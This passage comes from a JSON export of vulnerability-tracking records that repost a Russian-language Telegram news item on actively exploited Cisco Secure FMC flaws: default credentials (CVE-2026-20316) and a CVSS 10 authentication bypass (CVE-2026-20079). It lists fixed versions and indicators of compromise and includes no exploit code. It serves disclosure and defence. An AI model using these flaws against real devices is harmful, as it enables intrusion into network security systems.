\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0432 \u0438\u044e\u043b\u0435 2026 \u0433\u043e\u0434\u0430 (\u0438\u043d\u044b\u0445 \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e \u0441\u0430\u043c\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u0414\u0436\u0438\u043c\u0438 \u0421\u0435\u0431\u0440\u0438 \u0438\u0437 Horizon3.ai.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f FMC \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.\n\n\u0414\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 Cisco FMC \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0444\u0430\u0439\u043b \u0436\u0443\u0440\u043d\u0430\u043b\u0430 /var/log/messages \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Cisco IOCs, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043b\u044e\u0447\u0438 \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 FMC, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 FMC, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20079 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 CVSS 10,0.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e FMC.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u043c \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 CVE-2026-20316, \u0434\u043b\u044f CVE-2026-20079 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e CVE-2026-20079 \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430, \u0430 29 \u0438\u044e\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u0432\u0442\u043e\u0440\u043e\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043e\u0448\u0438\u0431\u043a\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 IOCs. \u041d\u043e \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 Cisco \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435\u00a0\u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440 (/var/tmp/license.tmp) \u0432 \u043e\u0431\u043e\u0438\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f\u0445, \u043d\u043e \u043d\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043b\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u043b\u0438 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 CVE-2026-20079 \u043e\u0442 Cisco \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0431\u0435\u0437 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 CVE-2026-20316, \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root-\u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\nCisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Secure FMC, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0435 \u0434\u043b\u044f CVE-2026-20079, \u0438 \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0438 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.", "creation_timestamp": "2026-07-30T13:00:05.187373Z"}, {"uuid": "da9fa982-fd34-4da8-8bbb-f655331b4a1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/true_secator/8458", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Secure Firewall Management Center (FMC), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u041e\u043d\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u041f\u041e Cisco Secure FMC.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 Cisco, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f\u043c, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438.\n\nCVE-2026-20316 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 5,3, \u043e\u0434\u043d\u0430\u043a\u043e Cisco \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0430 \u0435\u0439 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u0439 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 FMC \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u0430\u043a\u0438\u043c\u0438 \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u043a\u0430\u043a \u0438 \u043f\u0440\u043e \u0430\u0442\u0430\u043a\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Cisco Secure FMC \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u043e \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 Cloud-Delivered FMC, Firewall Device Manager, Secure Firewall ASA Software, Secure Firewall Threat Defense Software \u0438\u043b\u0438 Security Cloud Control.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 Secure FMC 7.0, 7.2, 7.4, 7.6, 7.7 \u0438 10.0. \u041e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0432 \u0438\u044e\u043b\u0435 2026 \u0433\u043e\u0434\u0430 (\u0438\u043d\u044b\u0445 \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e \u0441\u0430\u043c\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u0414\u0436\u0438\u043c\u0438 \u0421\u0435\u0431\u0440\u0438 \u0438\u0437 Horizon3.ai.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f FMC \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.\n\n\u0414\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 Cisco FMC \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0444\u0430\u0439\u043b \u0436\u0443\u0440\u043d\u0430\u043b\u0430 /var/log/messages \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Cisco IOCs, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043b\u044e\u0447\u0438 \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 FMC, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 FMC, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20079 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 CVSS 10,0.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e FMC.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u043c \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 CVE-2026-20316, \u0434\u043b\u044f CVE-2026-20079 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e CVE-2026-20079 \u0432 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430, \u0430 29 \u0438\u044e\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u0432\u0442\u043e\u0440\u043e\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043e\u0448\u0438\u0431\u043a\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 IOCs. \u041d\u043e \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e 